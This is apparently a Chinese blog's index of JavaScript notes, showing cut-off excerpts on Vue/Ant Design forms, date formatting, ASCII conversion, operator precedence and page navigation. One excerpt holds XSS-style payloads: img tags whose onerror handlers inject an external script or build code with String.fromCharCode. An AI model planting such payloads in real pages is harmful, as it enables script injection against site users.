随笔分类 - js
摘要:<a-form-item label="日期" :labelCol="labelCol" :wrapperCol="wrapperCol"> <a-range-picker @change="onChangeTime" v-model="queryParam.PageTimeText" /> </a
阅读全文
摘要:export default { filters: { formatDate(time) { var date = new Date(time); var year=date.getFullYear(); var month=date.getMonth()+1; var date=date.getD
阅读全文
摘要:function binddata_1() { var data1 = []; var value1 = []; for (var i = 1; i < 13; i++) { data1.push(i + "月"); } for (var i = 0; i < data1.length; i++)
阅读全文
摘要:字符 → ASCII 码:StringValue.charCodeAt() ASCII 码 → 字符:String.fromCharCode(asciiValue) 转自:https://www.jianshu.com/p/24966e1205f9
阅读全文
摘要:<a onclick="SetType('10',this);return false;" href="../../123.html"> <img src="../../images/123.png"> <p>sh</p> </a> <script> function SetType(id, tha
阅读全文
摘要:<script>document.title = '\u200E';</script> --返回上一页 <div class="header"><a onclick="window.history.back(-1); return false;" class="back mui-icon mui-i
阅读全文
摘要:<script> function setmuitime() { var btn_time = document.getElementById('time1'); var day1 = new Date(); var s1 = day1.getFullYear() + "-" + (day1.get
阅读全文
摘要:<script>document.title = '\u200E';</script>
阅读全文
摘要:function Get_key(data) { var keys = []; //获取key for (var i = 0; i < data.length; i++) { if (!check_exist(data[i].L1)) { keys.push(data[i].L1); } } fun
阅读全文
摘要:function jt() { //显示 var zw = document.getElementById('s2id_txtCounterName'); if (zw == null) { setTimeout(function () { jt(); }, 30); return; } var z
阅读全文
摘要:var qad = getCookie("qqq"); if (qad==null) { //跳转代码 setTimeout(function(){ alert("登陆过期,请重新登陆!"); parent.document.writeln("<iframe style=\"margin:0px;p
阅读全文
摘要:<img src=x onerror=with(document)body.appendChild(document.createElement('script')).src="domain.js"></img> <img src="#" onerror="var a=String.fromChar
阅读全文
摘要:var slist = document.getElementsByTagName('select'); for(i=0;i<slist.length;i++) { var t = slist[i].childNodes; for(j=0;j<t.length;j++){ debugger; var
阅读全文
摘要:js 优先级 && == 6 … ? … : … == 4 //0 && 0 ? 0 : 0; //0 && 1 ? console.log(1):console.log(2); //输出 2 //1 && 1 ? console.log(1):console.log(2); //输出 1 //0
阅读全文
摘要:function systc() { var t = layer.confirm('确认要退出系统吗?', { btn: ['确定', '取消'] //按钮 }, function () { $("#btnDel").click(); }, function () { }); document.ge
阅读全文
摘要:https://www.runoob.com/w3cnote/js-call-apply-bind.html
阅读全文
摘要:var z1= void 0; var z2 = void 1; var z212 = void (1&&1); var z213 = void (1&&0); z1 = 未定义 function fun2() { /* // 1 && 1 返回1 // 0 && 1 返回0 // 1 && 0 返
阅读全文
摘要:if(0,0) { console.log("0,0"); } if(0,1) //执行了 { console.log("0,1"); } if(1,0) { console.log("1,0"); } if(1,1) //执行了 { console.log("1,1"); } <script> /
阅读全文